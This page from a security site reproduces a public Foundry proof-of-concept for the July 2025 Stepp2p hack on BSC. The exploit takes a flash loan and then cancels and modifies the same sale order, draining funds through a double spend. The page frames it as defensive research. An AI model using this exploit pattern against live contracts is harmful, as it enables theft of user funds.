Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/Stepp2p_exp.sol

Public reproduction file for dataset entry Stepp2p.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/Stepp2p_exp.sol58 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 43k USD
8// Attacker : https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341
9// Attack Contract : https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993
10// Vulnerable Contract : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce
11// Attack Tx : https://bscscan.com/tx/0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1946887946877149520
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant PANCAKE_V3_USDC_USDT = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;
23address constant STEPP2P = 0x99855380E5f48Db0a6BABeAe312B80885a816DCe;
24address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
26contract Stepp2p is BaseTestWithBalanceLog {
27 uint256 blocknumToForkFrom = 54653987 - 1;
29 function setUp() public {
30 vm.createSelectFork("bsc", blocknumToForkFrom);
31 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
32 fundingToken = BSC_USD;
33 }
35 function testExploit() public balanceLog {
36 //implement exploit code here
37 bytes memory data = "0x623269464a7178";
38 IPancakeV3PoolActions(PANCAKE_V3_USDC_USDT).flash(address(this), 50_000 ether, 0, data);
39 }
41 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
42 uint256 amount = IERC20(BSC_USD).balanceOf(STEPP2P);
44 IERC20(BSC_USD).approve(STEPP2P, amount);
45 uint256 saleId = IStepp2p(STEPP2P).createSaleOrder(amount);
46 // cancelSaleOrder + modifySaleOrder on same saleId both transfer funds — results in double spend.
47 IStepp2p(STEPP2P).cancelSaleOrder(saleId);
48 IStepp2p(STEPP2P).modifySaleOrder(saleId, amount, false);
50 IERC20(BSC_USD).transfer(PANCAKE_V3_USDC_USDT, 50_000 ether + fee0);
51 }
54interface IStepp2p {
55 function createSaleOrder(uint256 _amount) external returns (uint256);
56 function cancelSaleOrder(uint256 _saleId) external;
57 function modifySaleOrder(uint256 _saleId, uint256 _modifyAmount, bool isPostive) external;

Analysis

Dataset entry

Public Foundry test for “Stepp2p” (2025-07-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341

  • Attack Contract

    0x399eff46b7d458575ebbbb572098e62e38f3c993

  • Vulnerable Contract

    0x99855380e5f48db0a6babeae312b80885a816dce

  • Attack Tx

    0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8

File record

Name
Stepp2p
Path
src/test/2025-07/Stepp2p_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e0e8ee068f5838309ba21c7918de08019e0640d2
Language
Solidity
Size
59 lines
Date
2025-07-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/Stepp2p_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e0e8ee068f5838309ba21c7918de08019e0640d2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.